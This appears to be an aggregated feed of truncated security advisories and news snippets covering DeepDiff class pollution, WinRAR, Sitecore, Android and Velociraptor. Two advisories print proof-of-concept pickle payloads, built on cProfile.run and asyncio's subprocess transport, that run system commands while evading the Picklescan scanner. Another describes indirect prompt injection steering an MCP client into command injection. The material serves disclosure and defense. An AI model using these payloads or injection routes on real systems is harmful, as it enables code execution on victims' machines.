### Summary [Python class pollution](https://blog.abdulrah33m.com/prototype-pollution-in-python/) is a novel vulnerability categorized under [CWE-915](https://cwe.mitre.org/data/definitions/915.html). The `Delta` class is vulnerable to class pollution via its constructor, and when combined with a gadget available in DeltaDiff itself, it can lead to Denial of Service and Remote Code Execution (via insecure [Pickle](https://docs.python.org/3/library/pickle.html) deserialization). The gadget available in DeepDiff allows `deepdiff.serialization.SAFE_TO_IMPORT` to be modified to allow dangerous classes such as `posix.system`, and then perform insecure Pickle deserialization via the Delta class. This potentially allows any Python code to be executed, given that the input to `Delta` is user-controlled. Depending on the application where DeepDiff is used, this can also lead to other vulnerabilities. For example, in a web application, it might be possible to bypass authentication via class po...

Google has shipped security updates to address 120 security flaws in its Android operating system as part of its monthly fixes for September 2025, including two issues that it said have been exploited in targeted attacks. The vulnerabilities are listed below - CVE-2025-38352 (CVSS score: 7.4) - A privilege escalation flaw in the Linux Kernel component  CVE-2025-48543 (CVSS score: N/A) - A

### Summary A command injection vulnerability exists in the `mcp-markdownify-server` MCP Server. The vulnerability is caused by the unsanitized use of input parameters within a call to `child_process.exec`, enabling an attacker to inject arbitrary system commands. Successful exploitation can lead to remote code execution under the server process's privileges. The server constructs and executes shell commands using unvalidated user input directly within command-line strings. This introduces the possibility of shell metacharacter injection (`|`, `>`, `&&`, etc.). ### Details The MCP Server exposes tools to perform several file operations. An MCP Client can be instructed to execute additional actions for example via indirect prompt injection when asked to read an `md` file. Below some example of vulnerable code and different ways to test this vulnerability including a real example of indirect prompt injection that can lead to arbitrary command injection. ### Vulnerable code The fo...

About Remote Code Execution – WinRAR (CVE-2025-6218, CVE-2025-8088) vulnerabilities. A crafted file path inside an archive may cause the extraction process to move into unintended directories (including the Startup directories 😈), which can result in archive extraction leading to the execution of malicious code in the context of the current user. 🩹 Vulnerability CVE-2025-6218 was […]

Cybersecurity researchers have called attention to a cyber attack in which unknown threat actors deployed an open-source endpoint monitoring and digital forensic tool called Velociraptor, illustrating ongoing abuse of legitimate software for malicious purposes. "In this incident, the threat actor used the tool to download and execute Visual Studio Code with the likely intention of creating a

Three new security vulnerabilities have been disclosed in the Sitecore Experience Platform that could be exploited to achieve information disclosure and remote code execution.  The flaws, per watchTowr Labs, are listed below - CVE-2025-53693 - HTML cache poisoning through unsafe reflections CVE-2025-53691 - Remote code execution (RCE) through insecure deserialization CVE-2025-53694 -

The vulnerabilities mentioned in this blog post have been patched by their respective vendors, all in

### Summary Using asyncio.unix_events._UnixSubprocessTransport._start function, which is a built-in python library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker craft the payload by calling to asyncio.unix_events._UnixSubprocessTransport._start function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC ``` from asyncio.unix_events import _UnixSubprocessTransport from types import SimpleNamespace class EvilAsyncioUnixSubprocessTransportStart: def __reduce__(self): fake_self = SimpleNamespace( _loop=None, _protocol=None, _proc=None ) args = "whoami" return _UnixSubprocessTransport._start, ( fake_self, args,...

### Summary Using cProfile.run function, which is a built-in python library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker craft the payload by calling to cProfile.run function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC ``` import cProfile class EvilCProfileRun: def __reduce__(self): # cProfile.run(statement) -> Profile().run(statement) -> exec(statement) return cProfile.run, ("__import__('os').system('whoami')",) ``` ### Impact Who is impacted?
